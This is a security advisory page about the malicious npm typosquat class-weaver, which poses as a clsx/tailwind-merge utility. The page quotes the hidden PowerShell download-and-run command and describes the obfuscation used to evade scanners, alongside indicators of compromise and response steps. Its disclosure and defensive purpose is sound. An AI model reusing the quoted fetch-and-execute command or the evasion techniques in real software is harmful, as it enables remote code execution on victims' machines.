NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

class-weavernpm

Advisory published Updated

class-weaver is a confirmed malicious npm package (MAL-2026-4521) that typosquats a legitimate package to trick installs (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in class-weaver (npm)

MAL-2026-4521
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall class-weaver

What this malware does

class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged
1.0.0

Indicators of compromise (SHA-256)

b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7
5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for class-weaver (version 1.0.0).

  2. If you installed it — respond

    class-weaver is a typosquat — you almost certainly intended a legitimately-named package. Remove class-weaver, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If class-weaver was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. class-weaver on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004521GHSA-jx4m-wmh7-wmhr

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks class-weaver-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

class-weaver (npm) malicious package — MAL-2026-4521 | O3 Security